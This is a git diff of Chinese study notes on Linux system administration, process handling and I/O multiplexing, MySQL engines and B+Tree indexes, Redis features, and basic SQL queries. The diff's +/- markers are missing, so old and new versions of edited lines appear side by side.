| :--: | -- |
| :w | 写入磁盘|
| :w! | 当文件为只读时,强制写入磁盘。到底能不能写入,与用户对该文件的权限有关 |
| :q | 离开 |
@ -202,7 +205,7 @@ GPT 第 1 个区块记录了 MBR紧接着是 33 个区块记录分区信息
GPT 没有扩展分区概念,都是主分区,最多可以分 128 个分区。
<div align="center"> <img src="../pics//a5c25452-6fa5-49e7-9322-823077442775.jpg" width="400"/> </div><br>
<div align="center"> <img src="../pics//GUID_Partition_Table_Scheme.svg.png" width="400"/> </div><br>
## 开机检测程序
@ -321,7 +324,7 @@ UEFI 相比于 BIOS 来说功能更为全面,也更为安全。
- /usr (unix software resource):所有系统默认软件都会安装到这个目录;
- /var (variable):存放系统或程序运行过程中的数据文件。
<div align="center"> <img src="../pics//linux-filesystem.png"/> </div><br>
<div align="center"> <img src="../pics//linux-filesystem.png" width=""/> </div><br>
## 文件时间
@ -466,10 +469,11 @@ locate 使用 /var/lib/mlocate/ 这个数据库来进行搜索,它存储在内
find 可以使用文件的属性和权限进行搜索。
```html
# find filename [option]
# find [basedir] [option]
example: find . -name "shadow*"
```
**(一)与时间有关的选项**
(一)与时间有关的选项
```html
-mtime n :列出在 n 天前的那一天修改过内容的文件
@ -480,9 +484,9 @@ find 可以使用文件的属性和权限进行搜索。
+4、4 和 -4 的指示的时间范围如下:
<div align="center"> <img src="../pics//658fc5e7-79c0-4247-9445-d69bf194c539.png"/> </div><br>
<div align="center"> <img src="../pics//658fc5e7-79c0-4247-9445-d69bf194c539.png" width=""/> </div><br>
**(二)与文件拥有者和所属群组有关的选项**
(二)与文件拥有者和所属群组有关的选项
```html
-uid n
@ -493,7 +497,7 @@ find 可以使用文件的属性和权限进行搜索。
-nogroup搜索所属群组不存在于 /etc/group 的文件
```
**(三)与文件权限和名称有关的选项**
(三)与文件权限和名称有关的选项
```html
-name filename
@ -516,21 +520,19 @@ find 可以使用文件的属性和权限进行搜索。
2. inode一个文件占用一个 inode记录文件的属性同时记录此文件的内容所在的 block 号码;
3. block记录文件的内容文件太大时会占用多个 block。
<div align="center"> <img src="../pics//ff0c019c-6461-467d-a266-0455341fd4f4.png" width="800"/> </div><br>
当要读取一个文件的内容时,先在 inode 中去查找文件内容所在的所有 block然后把所有 block 的内容读出来。
磁盘碎片是指一个文件内容所在的 block 过于分散。
Ext2 文件系统使用了上述的文件结构,并在此之上加入了 block 群组的概念,也就是将一个文件系统划分为多个 block 群组,方便管理。
<div align="center"> <img src="../pics//1974a836-aa6b-4fb8-bce1-6eb11969284a.jpg"/> </div><br>
## inode
Ext2 文件系统支持的 block 大小有 1k、2k 和 4k 三种,不同的 block 大小限制了单一文件的大小。而每个 inode 大小是固定为 128 bytes。
inode 中记录了文件内容所在的 block但是每个 block 非常小,一个大文件随便都需要几十万的 block。而一个 inode 大小有限,无法直接引用这么多 block。因此引入了间接、双间接、三间接引用。间接引用是指让 inode 记录的引用 block 块当成 inode 用来记录引用信息。
<div align="center"> <img src="../pics//89091427-7b2b-4923-aff6-44681319a8aa.jpg"/> </div><br>
<div align="center"> <img src="../pics//1bfa3118-f3cd-4480-a950-cf6d646015db.png" width="600"/> </div><br>
inode 具体包含以下信息:
@ -561,7 +563,7 @@ inode 具体包含以下信息:
删除任意一个条目,文件还是存在,只要引用数量不为 0。
有以下限制:不能跨越 File System不能对目录进行链接。
有以下限制:不能跨越 File System不能对目录进行链接。
```html
# ln /etc/crontab .
@ -636,7 +638,7 @@ $ bzip2 [-cdkzv#] filename
提供比 bzip2 更佳的压缩比。
可以看到gzip、bzip2、xz 的压缩比不断优化。不过要注意,压缩比越高,压缩的时间也越长。
可以看到gzip、bzip2、xz 的压缩比不断优化。不过要注意的是,压缩比越高,压缩的时间也越长。
查看命令xzcat、xzmore、xzless、xzgrep。
@ -932,7 +934,7 @@ $ grep -n 'the' regular_express.txt
18:google is the best tools for search keyword
```
因为 { 与 } 的符号在 shell 是有特殊意义的,因此必须要使用转义字符进行转义。
因为 { 和 } 在 shell 是有特殊意义的,因此必须要使用转义字符进行转义。
```html
$ grep -n 'go\{2,5\}g' regular_express.txt
@ -1026,7 +1028,7 @@ daemon 2
示例三:查看特定的进程
```html
```
# ps aux | grep threadx
```
@ -1060,36 +1062,66 @@ daemon 2
## 进程状态
<div align="center"> <img src="../pics//76a49594323247f21c9b3a69945445ee.png" width=""/> </div><br>
| 状态 | 说明 |
| :---: | --- |
| R | running or runnable (on run queue) |
| D | uninterruptible sleep (usually IO) |
| D | uninterruptible sleep (usually IO) |
| S | interruptible sleep (waiting for an event to complete) |
| Z | defunct/zombie, terminated but not reaped by its parent |
| T | stopped, either by a job control signal or because it is being traced|
<div align="center"> <img src="../pics//76a49594323247f21c9b3a69945445ee.png"/> </div><br>
## SIGCHILD
## SIGCHLD
当一个子进程改变了它的状态时:停止运行,继续运行或者退出,有两件事会发生在父进程中:
- 得到 SIGCHLD 信号;
- 阻塞的 waitpid(2)(或者 wait调用会返回。
- waitpid() 或者 wait() 调用会返回。
<div align="center"> <img src="../pics//flow.png"/> </div><br>
<div align="center"> <img src="../pics//flow.png" width=""/> </div><br>
## 孤儿进程和僵死进程
其中子进程发送的 SIGCHLD 信号包含了子进程的信息,包含了进程 ID、进程状态、进程使用 CPU 的时间等。
### 1. 孤儿进程
在子进程退出时,它的进程描述符不会立即释放,这是为了让父进程得到子进程信息。父进程通过 wait() 和 waitpid() 来获得一个已经退出的子进程的信息。
## wait()
```c
pid_t wait(int *status)
```
父进程调用 wait() 会一直阻塞,直到收到一个子进程退出的 SIGCHLD 信号,之后 wait() 函数会销毁子进程并返回。
如果成功,返回被收集的子进程的进程 ID如果调用进程没有子进程调用就会失败此时返回 - 1同时 errno 被置为 ECHILD。
参数 status 用来保存被收集进程退出时的一些状态,如果我们对这个子进程是如何死掉的毫不在意,只想把这个僵尸进程消灭掉,我们就可以设定这个参数为 NULL
```c
pid = wait(NULL);
```
## waitpid()
```c
pid_t waitpid(pid_t pid,int *status,int options)
```
作用和 wait() 完全相同,但是多了两个可由用户控制的参数 pid 和 options。
pid 参数指示一个子进程的 ID表示只关心这个子进程的退出 SIGCHLD 信号。如果 pid=-1 时,那么贺 wait() 作用相同,都是关心所有子进程退出的 SIGCHLD 信号。
options 参数主要有 WNOHANG 和 WUNTRACED 两个选项WNOHANG 可以使 waitpid() 调用变成非阻塞的,也就是说它会立即返回,父进程可以继续执行其它任务。
## 孤儿进程
一个父进程退出,而它的一个或多个子进程还在运行,那么这些子进程将成为孤儿进程。孤儿进程将被 init 进程(进程号为 1所收养并由 init 进程对它们完成状态收集工作。
由于孤儿进程会被 init 进程收养,所以孤儿进程不会对系统造成危害。
### 2. 僵死进程
## 僵死进程
一个子进程的进程描述符在子进程退出时不会释放,只有当父进程通过 wait 或 waitpid 获取了子进程信息后才会释放。如果子进程退出,而父进程并没有调用 wait 或 waitpid那么子进程的进程描述符仍然保存在系统中这种进程称之为僵死进程。
一个子进程的进程描述符在子进程退出时不会释放,只有当父进程通过 wait() 或 waitpid() 获取了子进程信息后才会释放。如果子进程退出,而父进程并没有调用 wait() 或 waitpid(),那么子进程的进程描述符仍然保存在系统中,这种进程称之为僵死进程。
僵死进程通过 ps 命令显示出来的状态为 Z。
@ -1118,7 +1150,8 @@ I/O Multiplexing 又被称为 Event Driven I/O它可以让单个进程具有
同步异步是获知 I/O 完成的方式,同步需要时刻关心 I/O 是否已经完成,异步无需主动关心,在 I/O 完成时它会收到通知。
<div align="center"> <img src="../pics//00eda100-dba1-4ec2-9140-5fe5f3855951.jpg"/> </div><br>
<div align="center"> <img src="../pics//1a231f2a-5c2f-4231-8e0f-915aa5894347.jpg"/> </div><br>
### 1. 同步-阻塞
@ -1126,31 +1159,25 @@ I/O Multiplexing 又被称为 Event Driven I/O它可以让单个进程具有
应该注意到,在阻塞的过程中,其他程序还可以执行,因此阻塞不意味着整个操作系统都被阻塞。因为其他程序还可以执行,因此不消耗 CPU 时间,这种模型的执行效率会比较高。
<div align="center"> <img src="../pics//5e9b10f3-9504-4483-9667-d4770adebf9f.png"/> </div><br>
<div align="center"> <img src="../pics//5e9b10f3-9504-4483-9667-d4770adebf9f.png" width=""/> </div><br>
### 2. 同步-非阻塞
非阻塞意味着用户程序在执行系统调用后还可以执行,内核并不是马上执行完 I/O而是以一个错误码来告知用户程序 I/O 还未完成。为了获得 I/O 完成事件,用户程序必须调用多次系统调用去询问内核,甚至是忙等,也就是在一个循环里面一直询问并等待。
非阻塞意味着用户程序在执行系统调用后还可以继续执行,内核并不是马上执行完 I/O而是以一个错误码来告知用户程序 I/O 还未完成。为了获得 I/O 完成事件,用户程序必须调用多次系统调用去询问内核,甚至是忙等,也就是在一个循环里面一直询问并等待。
由于 CPU 要处理更多的用户程序的询问,因此这种模型的效率是比较低的。
<div align="center"> <img src="../pics//1582217a-ed46-4cac-811e-90d13a65163b.png"/> </div><br>
<div align="center"> <img src="../pics//1582217a-ed46-4cac-811e-90d13a65163b.png" width=""/> </div><br>
### 3. 异步-阻塞
### 3. 异步
这是 I/O 复用使用的一种模式,通过使用 select它可以监听多个 I/O 事件,当这些事件至少有一个发生时,用户程序会收到通知
该模式下I/O 操作会立即返回,之后可以处理其它操作,并且在 I/O 完成时会收到一个通知,此时会中断正在处理的操作,然后继续之前的操作
<div align="center"> <img src="../pics//dbc5c9f1-c13c-4d06-86ba-7cc949eb4c8f.jpg"/> </div><br>
### 4. 异步-非阻塞
该模式下I/O 操作会立即返回,之后可以处理其它操作,并且在 I/O 完成时会收到一个通知,此时会中断正在处理的操作,然后完成 I/O 事务。
<div align="center"> <img src="../pics//b4b29aa9-dd2c-467b-b75f-ca6541cb25b5.jpg"/> </div><br>
<div align="center"> <img src="../pics//b4b29aa9-dd2c-467b-b75f-ca6541cb25b5.jpg" width=""/> </div><br>
## select poll epoll
这三个都是 I/O 多路复用的具体实现select 出现的最早,之后是 poll再是 epoll。可以说,新出现的实现是为了修复旧实现的不足。
这三个都是 I/O 多路复用的具体实现select 出现的最早,之后是 poll再是 epoll。
### 1. select
@ -1321,7 +1348,7 @@ select 和 poll 方式中,进程只有在调用一定的方法后,内核才
新版本的 epoll_create(int size) 参数 size 不起任何作用,在旧版本的 epoll 中如果描述符的数量大于 size不保证服务质量。
epoll_ct() 执行一次系统调用,用于向内核注册新的描述符或者是改变某个文件描述符的状态。已注册的描述符在内核中会被维护在一棵红黑树上,通过回调函数内核会将 I/O 准备好的描述符加入到一个链表中管理。
epoll_ctl() 执行一次系统调用,用于向内核注册新的描述符或者是改变某个文件描述符的状态。已注册的描述符在内核中会被维护在一棵红黑树上,通过回调函数内核会将 I/O 准备好的描述符加入到一个链表中管理。
epoll_wait() 取出在内核中通过链表维护的 I/O 准备好的描述符,将他们从内核复制到程序中,不需要像 select/poll 对注册的所有描述符遍历一遍。
@ -1396,3 +1423,5 @@ poll 没有最大描述符数量的限制,如果平台支持应该采用 poll
- [poll vs select vs event-based](https://daniel.haxx.se/docs/poll-vs-select.html)
- [Linux 之守护进程、僵死进程与孤儿进程](http://liubigbin.github.io/2016/03/11/Linux-%E4%B9%8B%E5%AE%88%E6%8A%A4%E8%BF%9B%E7%A8%8B%E3%80%81%E5%83%B5%E6%AD%BB%E8%BF%9B%E7%A8%8B%E4%B8%8E%E5%AD%A4%E5%84%BF%E8%BF%9B%E7%A8%8B/)
- [Linux process states](https://idea.popcount.org/2012-12-11-linux-process-states/)
- [GUID Partition Table](https://en.wikipedia.org/wiki/GUID_Partition_Table)
- [详解 wait 和 waitpid 函数](https://blog.csdn.net/kevinhg/article/details/7001719)

View File

@ -30,31 +30,27 @@
InnoDB 是 MySQL 默认的事务型存储引擎,只有在需要 InnoDB 不支持的特性时,才考虑使用其它存储引擎。
采用 MVCC 来支持高并发,并且实现了四个标准的隔离级别,默认级别是可重复读。
采用 MVCC 来支持高并发,并且实现了四个标准的隔离级别,默认级别是可重复读REPEATABLE READ并且通过间隙锁next-key locking策略防止幻读的出现。间隙锁使得 InnoDB 不仅仅锁定查询涉及的行,还会对索引中的间隙进行锁定,以防止幻影行的插入
表是基于聚簇索引建立的,它对主键的查询性能有很高的提升。
内部做了很多优化,包括从磁盘读取数据时采用的可预测性读、能够自动在内存中创建哈希索引以加速读操作的自适应哈希索引、能够加速插入操作的插入缓冲区等。
通过一些机制和工具支持真正的热备份。
通过一些机制和工具支持真正的热备份,其它存储引擎不支持热备份,要获取一致性视图需要停止对所有表的写入,而在读写混合场景中,停止写入可能也意味着停止读取
## MyISAM
MyISAM 提供了大量的特性,包括全文索引、压缩、空间函数GIS等。但 MyISAM 不支持事务和行级锁,而且崩溃后无法安全恢复
提供了大量的特性,包括全文索引、压缩表、空间数据索引等。应该注意的是MySQL 5.6.4 添加了对 InnoDB 引擎的全文索引支持
只能对整张表加锁,而不是针对行。
不支持事务。
不支持行级锁只能对整张表加锁读取时会对需要读到的所有表加共享锁写入时则对表加排它锁。但在表有读取查询的同时也可以往表中插入新的记录这被称为并发插入CONCURRENT INSERT
可以手工或者自动执行检查和修复操作,但是和事务恢复以及崩溃恢复不同,可能导致一些数据丢失,而且修复操作是非常慢的。
可以包含动态或者静态的行。
如果指定了 DELAY_KEY_WRITE 选项,在每次修改执行完成时,不会立即将修改的索引数据写入磁盘,而是会写到内存中的键缓冲区,只有在清理键缓冲区或者关闭表的时候才会将对应的索引块写入磁盘。这种方式可以极大的提升写入性能,但是在数据库或者主机崩溃时会造成索引损坏,需要执行修复操作。
如果表在创建并导入数据以后,不会再进行修改操作,那么这样的表适合采用 MyISAM 压缩表。
对于只读数据,或者表比较小、可以容忍修复操作,则依然可以继续使用 MyISAM。
MyISAM 设计简单,数据以紧密格式存储,所以在某些场景下性能很好。
MyISAM 设计简单,数据以紧密格式存储。对于只读数据,或者表比较小、可以容忍修复操作,则依然可以继续使用 MyISAM。
## 比较
@ -62,7 +58,7 @@ MyISAM 设计简单,数据以紧密格式存储,所以在某些场景下性
2. 备份InnoDB 支持在线热备份。
3. 崩溃恢复MyISAM 崩溃后发生损坏的概率比 InnoDB 高很多,而且恢复的速度也更慢。
4. 并发MyISAM 只支持表级锁,而 InnoDB 还支持行级锁。
5. 其它特性MyISAM 支持全文索引,地理空间索引。
5. 其它特性MyISAM 支持压缩表和空间数据索引。
# 二、数据类型
@ -146,12 +142,14 @@ InnoDB 引擎有一个特殊的功能叫“自适应哈希索引”,当某个
限制:哈希索引只包含哈希值和行指针,而不存储字段值,所以不能使用索引中的值来避免读取行。不过,访问内存中的行的速度很快,所以大部分情况下这一点对性能影响并不明显;无法用于分组与排序;只支持精确查找,无法用于部分查找和范围查找;如果哈希冲突很多,查找速度会变得很慢。
### 3. 空间索引R-Tree
### 3. 空间数据索引R-Tree
MyISAM 存储引擎支持空间索引,可以用于地理数据存储。
空间索引会从所有维度来索引数据,可以有效地使用任意维度来进行组合查询。
必须使用 GIS 相关的函数来维护数据。
### 4. 全文索引
MyISAM 存储引擎支持全文索引,用于查找文本中的关键词,而不是直接比较索引中的值。
@ -162,9 +160,9 @@ MyISAM 存储引擎支持全文索引,用于查找文本中的关键词,而
- 大大减少了服务器需要扫描的数据量;
- 帮助服务器避免进行排序和创建临时表;
- 帮助服务器避免进行排序和创建临时表B+Tree 索引是有序的,可以用来做 ORDER BY 和 GROUP BY 操作)
- 将随机 I/O 变为顺序 I/O。
- 将随机 I/O 变为顺序 I/OB+Tree 索引是有序的,也就将相关的列值都存储在一起)
## 索引优化
@ -216,14 +214,14 @@ customer_id_selectivity: 0.0373
聚簇索引并不是一种索引类型,而是一种数据存储方式。
术语“聚簇”表示数据行和相邻的键值紧密地存储在一起InnoDB 的聚簇索引的数据行存放在 B-Tree 的叶子页中
术语“聚簇”表示数据行和相邻的键值紧密地存储在一起InnoDB 的聚簇索引在同一个结构中保存了 B+Tree 索引和数据行
因为无法把数据行存放在两个不同的地方,所以一个表只能有一个聚簇索引。
**优点**
1. 可以把相关数据保存在一起,减少 I/O 操作
2. 因为数据保存在 B-Tree 中,因此数据访问更快。
1. 可以把相关数据保存在一起,减少 I/O 操作。例如电子邮件表可以根据用户 ID 来聚集数据,这样只需要从磁盘读取少数的数据也就能获取某个用户的全部邮件,如果没有使用聚聚簇索引,则每封邮件都可能导致一次磁盘 I/O。
2. 数据访问更快。
**缺点**
@ -249,15 +247,15 @@ customer_id_selectivity: 0.0373
<div align="center"> <img src="../pics//5ed71283-a070-4b21-85ae-f2cbfd6ba6e1.jpg"/> </div><br>
为了描述 B-Tree首先定义一条数据记录为一个二元组 [key, data]key 为记录的键data 为数据记录除 key 外的数据
为了描述 B-Tree首先定义一条数据记录为一个二元组 [key, data]。
B-Tree 是满足下列条件的数据结构:
- 所有叶节点具有相同的深度,也就是说 B-Tree 是平衡的;
- 一个节点中的 key 从左到右非递减排列;
- 如果某个指针的左右相邻 key 分别是 key<sub>i</sub> 和 key<sub>i+1</sub>,且不为 null则该指针指向节点的所有 key 大于 key<sub>i</sub> 且小于 key<sub>i+1</sub>
- 如果某个指针的左右相邻 key 分别是 key<sub>i</sub> 和 key<sub>i+1</sub>,且不为 null则该指针指向节点的所有 key 大于等于 key<sub>i</sub> 且小于等于 key<sub>i+1</sub>
在 B-Tree 中按 key 检索数据的算法非常直观:首先从根节点进行二分查找,如果找到则返回对应节点的 data否则对相应区间的指针指向的节点递归进行查找,直到找到节点或找到 null 指针,前者查找成功,后者查找失败
在 B-Tree 中按 key 检索数据的算法非常直观:首先在根节点进行二分查找,如果找到则返回对应节点的 data否则在相应区间的指针指向的节点递归进行查找。
由于插入删除新的数据记录会破坏 B-Tree 的性质,因此在插入删除时,需要对树进行一个分裂、合并、转移等操作以保持 B-Tree 性质。
@ -282,7 +280,9 @@ B-Tree 是满足下列条件的数据结构:
页是计算机管理存储器的逻辑块,硬件及操作系统往往将主存和磁盘存储区分割为连续的大小相等的块,每个存储块称为一页(在许多操作系统中,页的大小通常为 4k主存和磁盘以页为单位交换数据。
一般来说,索引本身也很大,不可能全部存储在内存中,因此索引往往以索引文件的形式存储的磁盘上。为了减少磁盘 I/O磁盘往往不是严格按需读取而是每次都会预读。这样做的理论依据是计算机科学中著名的局部性原理当一个数据被用到时其附近的数据也通常会马上被使用。数据库系统的设计者巧妙利用了磁盘预读原理将一个节点的大小设为等于一个页这样每个节点只需要一次 I/O 就可以完全载入。B-Tree 中一次检索最多需要 h-1 次 I/O根节点常驻内存渐进复杂度为 O(h)=O(log<sub>d</sub>N)。一般实际应用中,出度 d 是非常大的数字,通常超过 100因此 h 非常小(通常不超过 3。而红黑树这种结构h 明显要深的多。并且于逻辑上很近的节点(父子)物理上可能很远,无法利用局部性,效率明显比 B-Tree 差很多。
一般来说,索引本身也很大,不可能全部存储在内存中,因此索引往往以索引文件的形式存储的磁盘上。为了减少磁盘 I/O磁盘往往不是严格按需读取而是每次都会预读。这样做的理论依据是计算机科学中著名的局部性原理当一个数据被用到时其附近的数据也通常会马上被使用。数据库系统的设计者巧妙利用了磁盘预读原理将一个节点的大小设为等于一个页这样每个节点只需要一次 I/O 就可以完全载入。
B-Tree 中一次检索最多需要 h-1 次 I/O根节点常驻内存渐进复杂度为 O(h)=O(log<sub>d</sub>N)。一般实际应用中,出度 d 是非常大的数字,通常超过 100因此 h 非常小(通常不超过 3。而红黑树这种结构h 明显要深的多。并且于逻辑上很近的节点(父子)物理上可能很远,无法利用局部性,效率明显比 B-Tree 差很多。
B+Tree 更适合外存索引,原因和内节点出度 d 有关。由于 B+Tree 内节点去掉了 data 域,因此可以拥有更大的出度,拥有更好的性能。

View File

@ -212,7 +212,14 @@ Redis 可以为每个键设置过期时间,当键过期时,会自动删除
# 四、发布与订阅
发布与订阅实际上是观察者模式,订阅者订阅了频道之后,发布者向频道发送字符串消息会被所有订阅者接收到。
订阅者订阅了频道之后,发布者向频道发送字符串消息会被所有订阅者接收到。
发布与订阅模式和观察者模式有以下不同:
- 观察者模式中,观察者和主题都知道对方的存在;而在发布与订阅模式中,发布者与订阅者不知道对方的存在,它们之间通过频道进行通信。
- 观察者模式是同步的,当事件触发时,主题会去调度观察者的方法;而发布与订阅模式是异步的;
<div align="center"> <img src="../pics//bee1ff1d-c80f-4b3c-b58c-7073a8896ab2.jpg" width="400"/> </div><br>
发布与订阅有一些问题,很少使用它,而是使用替代的解决方案。问题如下:
@ -235,13 +242,17 @@ Redis 是内存型数据库,为了保证数据在断电后不会丢失,需
可以将快照复制到其它服务器从而创建具有相同数据的服务器副本。
如果系统发生故障,将会丢失最后一次创建快照之后的数据。并且如果数据量很大,保存快照的时间也会很长。
如果系统发生故障,将会丢失最后一次创建快照之后的数据。
如果数据量很大,保存快照的时间会很长。
## 2. AOF 持久化
AOF 持久化将写命令添加到 AOF 文件Append Only File的末尾。
将写命令添加到 AOF 文件Append Only File的末尾。
对硬盘的文件进行写入时,写入的内容首先会被存储到缓冲区,然后由操作系统决定什么时候将该内容同步到硬盘,用户可以调用 file.flush() 方法请求操作系统尽快将缓冲区存储的数据同步到硬盘。因此将写命令添加到 AOF 文件时,要根据需求来保证何时将添加的数据同步到硬盘上,有以下同步选项:
对硬盘的文件进行写入时,写入的内容首先会被存储到缓冲区,然后由操作系统决定什么时候将该内容同步到硬盘,用户可以调用 file.flush() 方法请求操作系统尽快将缓冲区存储的数据同步到硬盘。
将写命令添加到 AOF 文件时,要根据需求来保证何时将添加的数据同步到硬盘上,有以下同步选项:
| 选项 | 同步频率 |
| :--: | :--: |
@ -361,7 +372,7 @@ def main():
从事件处理的角度来看,服务器运行流程如下:
<div align="center"> <img src="../pics//73b73189-9e95-47e5-91d0-9378b8462e15.png"/> </div><br>
<div align="center"> <img src="../pics//dda1608d-26e0-4f10-8327-a459969b150a.png" width=""/> </div><br>
# 十一、Redis 与 Memcached 的区别
@ -391,35 +402,37 @@ Memcached 将内存分割成特定长度的块来存储数据,以完全解决
## 缓存
s使用 Redis 作为缓存,将热点数据放到内存中。
将热点数据放到内存中。
## 消息队列
Redis 的 List 类型是双向链表,很适合用于消息队列。
List 类型是双向链表,很适合用于消息队列。
## 计数器
Redis 这种内存数据库能支持计数器频繁读写操作。
Redis 这种内存数据库能支持计数器频繁读写操作。
## 好友关系
使用 set 类型的交集很容易就可以知道两个用户的共同好友。
使用 Set 类型的交集操作很容易就可以知道两个用户的共同好友。
# 十三、数据淘汰策略
可以设置内存最大使用量,当内存使用量超过时施行淘汰策略,具体有 6 种淘汰策略。
| 策略 | 描述 |
| -- | -- |
| :--: | :--: |
| volatile-lru | 从已设置过期时间的数据集中挑选最近最少使用的数据淘汰 |
| volatile-ttl | 从已设置过期时间的数据集中挑选将要过期的数据淘汰 |
|volatile-random | 从已设置过期时间的数据集中任意选择数据淘汰 |
| allkeys-lru | 从所有数据集中挑选最近最少使用的数据淘汰 |
| allkeys-random | 从所有数据集中任意选择数据进行淘汰 |
| no-envicition | 禁止驱逐数据 |
| noeviction | 禁止驱逐数据 |
如果使用 Redis 来缓存数据时,要保证所有数据都是热点数据,可以将内存最大使用量设置为热点数据占用的内存量,然后启用 allkeys-lru 淘汰策略,将最近最少使用的数据淘汰。
作为内存数据库出于对性能和内存消耗的考虑Redis 的淘汰算法LRU、TTL实际实现上并非针对所有 key而是抽样一小部分 key 从中选出被淘汰 key。抽样数量可通过 maxmemory-samples 配置。
# 十四、一个简单的论坛系统分析
该论坛系统功能如下:
@ -458,3 +471,4 @@ Redis 没有关系型数据库中的表这一概念来将同类型的数据存
- [论述 Redis 和 Memcached 的差异](http://www.cnblogs.com/loveincode/p/7411911.html)
- [Redis 3.0 中文版- 分片](http://wiki.jikexueyuan.com/project/redis-guide)
- [Redis 应用场景](http://www.scienjus.com/redis-use-case/)
- [Observer vs Pub-Sub](http://developers-club.com/posts/270339/)

View File

@ -175,7 +175,7 @@ ORDER BY col1 DESC, col2 ASC;
# 九、过滤
不进行过滤的数据非常大,导致通过网络传输了很多多余的数据,从而浪费了网络带宽。因此尽量使用 SQL 语句来过滤不必要的数据,而不是传输所有的数据到客户端中然后由客户端进行过滤。
不进行过滤的数据非常大,导致通过网络传输了多余的数据,从而浪费了网络带宽。因此尽量使用 SQL 语句来过滤不必要的数据,而不是传输所有的数据到客户端中然后由客户端进行过滤。
```sql
SELECT *
@ -190,13 +190,13 @@ WHERE col IS NULL;
| = < > | 等于 小于 大于 |
| <> != | 不等于 |
| <= !> | 小于等于 |
| >= !< | 大于等于 |
| &gt;= !< | 大于等于 |
| BETWEEN | 在两个值之间 |
| IS NULL | 为NULL值 |
应该注意到NULL 与 0 、空字符串都不同。
**AND OR** 用于连接多个过滤条件。优先处理 AND因此当一个过滤表达式涉及到多个 AND 和 OR 时,应当使用 () 来决定优先级
**AND OR** 用于连接多个过滤条件,优先处理 AND当一个过滤表达式涉及到多个 AND 和 OR 时,可以使用 () 来决定优先级,使得优先级关系更清晰
**IN** 操作符用于匹配一组值,其后也可以接一个 SELECT 子句,从而匹配子查询得到的一组值。
@ -206,9 +206,9 @@ WHERE col IS NULL;
通配符也是用在过滤语句中,但它只能用于文本字段。
- **%** 匹配 >=0 个任意字符,类似于 \*
- **%** 匹配 >=0 个任意字符;
- **\_** 匹配 ==1 个任意字符,类似于 \.
- **\_** 匹配 ==1 个任意字符;
- **[ ]** 可以匹配集合内的字符,例如 [ab] 将匹配字符 a 或者 b。用脱字符 ^ 可以对其进行否定,也就是不匹配集合内的字符。
@ -246,14 +246,14 @@ FROM mytable
## 文本处理
| 函数 | 说明 |
| ------------ | ------------ |
| :---: | :---: |
| LEFT() RIGHT() | 左边或者右边的字符 |
| LOWER() UPPER() | 转换为小写或者大写 |
| LTRIM() RTIM() | 去除左边或者右边的空格 |
| LENGTH() | 长度 |
| SUNDEX() | 转换为语音值 |
| SOUNDEX() | 转换为语音值 |
其中, **SOUNDEX()** 将一个字符串转换为描述其语音表示的字母数字模式的算法,它是根据发音而不是字母比较
其中, **SOUNDEX()** 可以将一个字符串转换为描述其语音表示的字母数字模式。
```sql
SELECT *
@ -267,7 +267,7 @@ WHERE SOUNDEX(col1) = SOUNDEX('apple')
- 时间格式HH:MM:SS
|函 数 | 说 明|
| --- | --- |
| :---: | :---: |
| AddDate() | 增加一个日期(天、周等)|
| AddTime() | 增加一个时间(时、分等)|
| CurDate() | 返回当前日期 |
@ -288,13 +288,16 @@ WHERE SOUNDEX(col1) = SOUNDEX('apple')
```sql
mysql> SELECT NOW();
-> '2017-06-28 14:01:52'
```
```
2018-4-14 20:25:11
```
## 数值处理
| 函数 | 说明 |
| --- | --- |
| :---: | :---: |
| SIN() | 正弦 |
| COS() | 余弦 |
| TAN() | 正切 |
@ -308,7 +311,7 @@ mysql> SELECT NOW();
## 汇总
|函 数 |说 明|
| --- | --- |
| :---: | :---: |
| AVG() | 返回某列的平均值 |
| COUNT() | 返回某列的行数 |
| MAX() | 返回某列的最大值 |
@ -317,7 +320,7 @@ mysql> SELECT NOW();
AVG() 会忽略 NULL 行。
使用 DISTINCT 可以汇总函数值汇总不同的值。
使用 DISTINCT 可以汇总函数值汇总不同的值。
```sql
SELECT AVG(DISTINCT col1) AS avg_col
@ -330,7 +333,7 @@ FROM mytable
可以对同一分组数据使用汇总函数进行处理,例如求分组数据的平均值等。
指定的分组字段除了能让数组按该字段进行分组,也可以按该字段进行排序,例如按 col 字段排序并分组数据:
指定的分组字段除了能按该字段进行分组,也会自动按按该字段进行排序。
```sql
SELECT col, COUNT(*) AS num
@ -338,17 +341,7 @@ FROM mytable
GROUP BY col;
```
WHERE 过滤行HAVING 过滤分组。行过滤应当先与分组过滤;
```sql
SELECT col, COUNT(*) AS num
FROM mytable
WHERE col > 2
GROUP BY col
HAVING COUNT(*) >= 2;
```
GROUP BY 的排序结果为分组字段,而 ORDER BY 也可以以聚集字段来进行排序。
GROUP BY 按分组字段进行排序ORDER BY 也可以以汇总字段来进行排序。
```sql
SELECT col, COUNT(*) AS num
@ -357,10 +350,20 @@ GROUP BY col
ORDER BY num;
```
WHERE 过滤行HAVING 过滤分组,行过滤应当先于分组过滤。
```sql
SELECT col, COUNT(*) AS num
FROM mytable
WHERE col > 2
GROUP BY col
HAVING num >= 2;
```
分组规定:
1. GROUP BY 子句出现在 WHERE 子句之后ORDER BY 子句之前;
2. 除了汇总计算语句的字段外SELECT 语句中的每一字段都必须在 GROUP BY 子句中给出;
2. 除了汇总字段外SELECT 语句中的每一字段都必须在 GROUP BY 子句中给出;
3. NULL 的行会单独分为一组;
4. 大多数 SQL 实现不支持 GROUP BY 列具有可变长度的数据类型。
@ -374,7 +377,7 @@ ORDER BY num;
SELECT *
FROM mytable1
WHERE col1 IN (SELECT col2
FROM mytable2);
FROM mytable2);
```
下面的语句可以检索出客户的订单数量,子查询语句会对第一个查询检索出的每个客户执行一次:
@ -390,7 +393,7 @@ ORDER BY cust_name;
# 十五、连接
连接用于连接多个表,使用 JOIN 关键字,并且条件语句使用 ON 而不是 Where
连接用于连接多个表,使用 JOIN 关键字,并且条件语句使用 ON 而不是 WHERE
连接可以替换子查询,并且比子查询的效率一般会更快。
@ -436,10 +439,10 @@ where department = (
自连接版本
```sql
select name
select e1.name
from employee as e1, employee as e2
where e1.department = e2.department
and e1.name = "Jim";
and e2.name = "Jim";
```
连接一般比子查询的效率高。
@ -463,8 +466,8 @@ from employee natural join department;
```sql
select Customers.cust_id, Orders.order_num
from Customers left outer join Orders
on Customers.cust_id = Orders.curt_id;
from Customers left outer join Orders
on Customers.cust_id = Orders.cust_id;
```
如果需要统计顾客的订单数,使用聚集函数。
@ -473,15 +476,15 @@ select Customers.cust_id, Orders.order_num
select Customers.cust_id,
COUNT(Orders.order_num) as num_ord
from Customers left outer join Orders
on Customers.cust_id = Orders.curt_id
on Customers.cust_id = Orders.cust_id
group by Customers.cust_id;
```
